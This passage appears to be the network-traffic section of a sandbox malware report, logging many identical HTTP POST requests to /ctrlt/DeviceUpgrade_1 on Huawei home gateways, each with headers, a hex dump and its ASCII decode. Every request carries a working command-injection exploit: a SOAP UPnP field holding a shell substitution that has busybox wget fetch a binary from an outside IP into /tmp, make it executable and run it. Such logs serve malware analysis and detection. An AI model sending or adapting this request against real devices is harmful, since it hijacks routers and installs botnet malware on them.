xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 